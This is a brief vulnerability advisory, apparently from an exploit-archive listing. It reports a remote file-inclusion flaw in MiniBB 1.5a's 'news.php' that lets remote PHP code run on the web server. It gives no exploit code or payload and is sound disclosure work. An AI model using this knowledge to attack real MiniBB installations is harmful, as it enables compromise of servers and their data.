MiniBB 1.5 - 'news.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/19095/info

MiniBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and access the underlying system.

MiniBB version 1.5a is affected; earlier versions may also be vulnerable.
